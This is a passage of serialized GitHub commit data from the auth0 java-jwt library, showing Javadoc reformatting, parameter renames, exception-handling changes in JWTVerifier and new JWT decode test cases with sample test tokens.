+                    String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
         return Instant.ofEpochSecond(node.asLong());
     }u}(j  (75e794740101e98f1d9fc9ad211938dbcc7d88b3j  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X9  @@ -13,10 +13,10 @@
 
 /**
  * Decoder of string JSON Web Tokens into their POJO representations.
- *
- * @see Payload
  * <p>
  * This class is thread-safe.
+ *
+ * @see Payload
  */
 class PayloadImpl implements Payload, Serializable {
 
@@ -32,7 +32,17 @@ class PayloadImpl implements Payload, Serializable {
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(
+            String issuer,
+            String subject,
+            List<String> audience,
+            Instant expiresAt,
+            Instant notBefore,
+            Instant issuedAt,
+            String jwtId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;u}(j  (dc138c08a7000dd079c83e95326b6bd5c9ff7aa6j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -10,10 +10,10 @@
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
- *
- * @see com.auth0.jwt.JWTCreator
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.JWTCreator
  */
 public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
@@ -47,7 +47,7 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
                 List<?> audList = (List<?>) e.getValue();
                 for (Object aud : audList) {
                     if (aud instanceof String) {
-                        audArray.add((String)aud);
+                        audArray.add((String) aud);
                     }
                 }
             }u}(j  (ea166b0d337191043019e43d588b53e66328dd9cj  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  @@ -1,6 +1,8 @@
 package com.auth0.jwt.impl;
 
-
+/**
+ * Contains the claim name for all Public claims.
+ */
 public interface PublicClaims {
 
     //Headeru}(j  (fdfac71580fa87b9691de8af4c4df2ee4cc61dd2j  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  Kj  Kj  K
j  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X$  @@ -81,23 +81,24 @@ default Instant asInstant() {
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.
+     *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as an Array or null.
      * @throws JWTDecodeException if the values inside the Array can't be converted to a class T.
      */
-    <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException;
+    <T> T[] asArray(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a List of type T.
      * If the value isn't an Array, null will be returned.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as a List or null.
      * @throws JWTDecodeException if the values inside the List can't be converted to a class T.
      */
-    <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException;
+    <T> List<T> asList(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a generic Map of values.
@@ -111,9 +112,9 @@ default Instant asInstant() {
      * Get this Claim as a custom type T.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as instance of T.
      * @throws JWTDecodeException if the value can't be converted to a class T.
      */
-    <T> T as(Class<T> tClazz) throws JWTDecodeException;
+    <T> T as(Class<T> clazz) throws JWTDecodeException;
 }u}(j  (e1c6efccb4d86a33d5514ef4ca24321333e101cej  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X{  @@ -3,7 +3,8 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
 /**
- * The JWTPartsParser class defines which parts of the JWT should be converted to it's specific Object representation instance.
+ * The JWTPartsParser class defines which parts of the JWT should be converted
+ * to it's specific Object representation instance.
  */
 public interface JWTPartsParser {
 u}(j  (3555878e0c55c7ada151e3eaf5db85d6b8988cb4j  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -3,10 +3,13 @@
 import com.auth0.jwt.exceptions.JWTVerificationException;
 
 
+/**
+ * Used to verify the JWT for it's signature and claims.
+ */
 public interface JWTVerifier {
 
     /**
-     * Performs the verification against the given Token
+     * Performs the verification against the given Token.
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
@@ -15,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT
+     * Performs the verification against the given decoded JWT.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u      }(j  (fd8baea572026be86905bce48884192709f82490j  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -14,7 +14,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
      *
-     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @param keyId the Key Id specified in the Token's Header or null if none is available.
+     *              Provides a hint on which Public Key to use to verify the token's signature.
      * @return the Public Key instance
      */
     U getPublicKeyById(String keyId);
@@ -27,7 +28,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     R getPrivateKey();
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
      */u}(j  (071b3e9ca2bab5b872d22bdbcdee2e23a10695edj  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -60,7 +60,7 @@ default Verification withIssuer(String issuer) {
      * will have to provide their own implementation.
      *
      * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     * 
+     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
@@ -69,8 +69,8 @@ default Verification withAnyOfAudience(String... audience) {
     }
     
     /**
-     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
-     * Setting a specific leeway value on a given Claim will override this value for that Claim.
+     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
+     * will still be valid. Setting a specific leeway value on a given Claim will override this value for that Claim.
      *
      * @param leeway the window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
      * @return this same Verification instance.
@@ -80,7 +80,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
-     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Expiration Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Expires At Claim will still be valid.
      * @return this same Verification instance.
@@ -90,7 +91,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
-     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Not Before Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Not Before Claim will still be valid.
      * @return this same Verification instance.
@@ -101,8 +103,10 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
      * This method overrides the value set with {@link #acceptLeeway(long)}.
-     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
-     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     * By default, the Issued At claim is always verified when the value is present,
+     * unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed,
+     * and this method has no effect.
      *
      * @param leeway the window in seconds in which the Issued At Claim will still be valid.
      * @return this same Verification instance.
@@ -120,6 +124,7 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Require a claim to be present, with any value.
+     *
      * @param name the Claim's name.
      * @return this same Verification instance
      * @throws IllegalArgumentException if the name is null.
@@ -177,8 +182,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -188,8 +193,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * a date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.u}(j  (77d573bc09ed60e1bcbf803ac3f8d4807fac4e87j  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -71,12 +71,12 @@ public Date asDate() {
         }
 
         @Override
-        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+        public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 
         @Override
-        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+        public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 ueu(c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3}(sha(c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3node_idEC_kwDOAQtL0doAKGMyYTQ2ZmUyOGZkNmUyOGZkOTU2MjQxZGFjNmYyYjVlYzU2YzQwZjMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-24T15:20:49Zu	committer}(j"  
Poovamraj T Tj$  poovamraj@gmail.comj&  2022-03-24T15:20:49ZumessageAdd JWT decode test casestree}(j  (5165eec4517a0b468c640458e83b409ca128427curl^https://api.github.com/repos/auth0/java-jwt/git/trees/5165eec4517a0b468c640458e83b409ca128427cuj2  `https://api.github.com/repos/auth0/java-jwt/git/commits/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj2  \https://api.github.com/repos/auth0/java-jwt/commits/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3html_urlQhttps://github.com/auth0/java-jwt/commit/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3/commentsj   }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j2  &https://api.github.com/users/poovamrajj>  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj(  }(jC  	poovamrajjE  J j  MDQ6VXNlcjE1OTEwNDI1jG  4https://avatars.githubusercontent.com/u/15910425?v=4jI  h3j2  &https://api.github.com/users/poovamrajj>  https://github.com/poovamrajjL  0https://api.github.com/users/poovamraj/followersjN  =https://api.github.com/users/poovamraj/following{/other_user}jP  6https://api.github.com/users/poovamraj/gists{/gist_id}jR  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jT  4https://api.github.com/users/poovamraj/subscriptionsjV  +https://api.github.com/users/poovamraj/orgsjX  ,https://api.github.com/users/poovamraj/reposjZ  7https://api.github.com/users/poovamraj/events{/privacy}j\  6https://api.github.com/users/poovamraj/received_eventsj^  Userj`  uparents]}(j  (2e75d5246a9c2e8d2783d942917d8767cf977ba6j2  \https://api.github.com/repos/auth0/java-jwt/commits/2e75d5246a9c2e8d2783d942917d8767cf977ba6j>  Qhttps://github.com/auth0/java-jwt/commit/2e75d5246a9c2e8d2783d942917d8767cf977ba6uastats}(totalK	additionsK	deletionsKufiles]}(j  (6aa4ad09cf07eda5634139dc1114a7c7c1cdaa4efilename3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javastatusmodifiedjz  Kj{  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=c2a46fe28fd6e28fd956241dac6f2b5ec56c40f3patchX  @@ -294,13 +294,28 @@ public void shouldGetCustomArrayClaimOfTypeInteger() {
 
     @Test
     public void shouldGetCustomMapClaim() {
-        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlLCJlbXB0eSI6bnVsbH19.6xkCuYZnu4RA0xZSxlYSYAqzy9JDWsDtIWqSCUZlPt8";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
         assertThat(map, hasEntry("string", "value"));
         assertThat(map, hasEntry("number", 1));
         assertThat(map, hasEntry("boolean", true));
+        assertThat(map, hasEntry("empty", null));
+    }
+
+    @Test
+    public void shouldGetCustomNullClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpudWxsfQ.X4ALHe7uYqEcXWFBnwBUNRKwmwrtDEGZ2aynRYYUx8c";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").isNull(), is(true));
+    }
+
+    @Test
+    public void shouldGetListClaim() {
+        String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbbnVsbCwiaGVsbG8iXX0.SpcuQRBGdTV0ofHdxBSnhWEUsQi89noZUXin2Thwb70";
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt.getClaim("name").asList(String.class), contains(null, "hello"));
     }
 
     @Testuau(67df3d476024cbe697b3a54893f5383945c7670d}(sha(67df3d476024cbe697b3a54893f5383945c7670dnode_idEC_kwDOAQtL0doAKDY3ZGYzZDQ3NjAyNGNiZTY5N2IzYTU0ODkzZjUzODM5NDVjNzY3MGQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-29T07:38:11Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-29T07:38:11Zumessage[SDK-3154] Improved Exception Handling (#568)

* Improved exception handling

* Fixed issues thrown by Linter

* Fixed Lint Issue (Missing Period)

* Improved Code Coveragetree}(j  (fbebb23a48e45b48d5f91b49dee43f77892eaaf2url^https://api.github.com/repos/auth0/java-jwt/git/trees/fbebb23a48e45b48d5f91b49dee43f77892eaaf2uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/67df3d476024cbe697b3a54893f5383945c7670d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiQrdjCRBK7hj4Ov3rIwAAsvYIAFA9/+hPv5cVKO2dEtpWopUJ
p94jLGSGQz/Xu0RYKTNE8HyBn17iahJvvgthRBKvWe6dvAU4sOeMa57jBqStcRV/
nnZNA1ol5ssfFOn5cGTVnW/pt86sJIcpDNTLiGegQBflZGTYQnMGbunRt1Yy7udO
Ry6AHLIlq3uhbn3TNYXtTBJhSbRY+AIm3f5vRWDxblMuYDrGgYV8VChkmb9XR9bs
amuXUsR7N4+BF7pF4o/JxJ1oNJk9k73RmLyh8nxmTsJUfVfI6apEHL3so2MC8SVP
0vLFhsZ7/c5s14c3PzMMkz8sNeoxMYqX13YhbVrx9cDrKr1oJ+uNR8Y7T10ylvo=
=y6lS
-----END PGP SIGNATURE-----
payloadX  tree fbebb23a48e45b48d5f91b49dee43f77892eaaf2
parent e37301aad52681174bcd2dc39844ab56408e7b8a
author Poovamraj T T <poovamraj@gmail.com> 1648539491 +0530
committer GitHub <noreply@github.com> 1648539491 +0200

[SDK-3154] Improved Exception Handling (#568)

* Improved exception handling

* Fixed issues thrown by Linter

* Fixed Lint Issue (Missing Period)

* Improved Code Coverageuuj  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670dhtml_urlQhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670d/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowjØ  /https://api.github.com/users/web-flow/followersjŘ  <https://api.github.com/users/web-flow/following{/other_user}jǘ  5https://api.github.com/users/web-flow/gists{/gist_id}jɘ  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j˘  3https://api.github.com/users/web-flow/subscriptionsj͘  *https://api.github.com/users/web-flow/orgsjϘ  +https://api.github.com/users/web-flow/reposjј  6https://api.github.com/users/web-flow/events{/privacy}jӘ  5https://api.github.com/users/web-flow/received_eventsj՘  Userjט  uparents]}(j  (e37301aad52681174bcd2dc39844ab56408e7b8aj  \https://api.github.com/repos/auth0/java-jwt/commits/e37301aad52681174bcd2dc39844ab56408e7b8aj  Qhttps://github.com/auth0/java-jwt/commit/e37301aad52681174bcd2dc39844ab56408e7b8auastats}(totalM	additionsM	deletionsKJufiles](}(j  (ba19feb95e959c5a9f7c817c61ac50742ba41621filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  K4j  K!changesKUblob_urlhttps://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=67df3d476024cbe697b3a54893f5383945c7670dpatchXj%  @@ -72,7 +72,8 @@ public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
             checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
                 if (value == null || !value.contains(claim.asString())) {
-                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                    throw new IncorrectClaimException(
+                            "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -89,15 +90,15 @@ public Verification withSubject(String subject) {
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
             checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
+                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -144,12 +145,7 @@ public Verification withJWTId(String jwtId) {
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            withClaim(name, ((claim, decodedJWT) -> {
-                if (claim.isMissing()) {
-                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
-                }
-                return true;
-            }));
+            withClaim(name, ((claim, decodedJWT) -> assertClaimPresence(name, claim)));
             return this;
         }
 
@@ -272,13 +268,13 @@ private void addMandatoryClaimChecks() {
             long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
             long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
 
-            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
-            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
-                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
+            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
             if (!ignoreIssuedAt) {
-                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
-                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
+                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
             }
         }
 
@@ -305,33 +301,50 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
             return claimArr.containsAll(valueArr);
         }
 
-        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
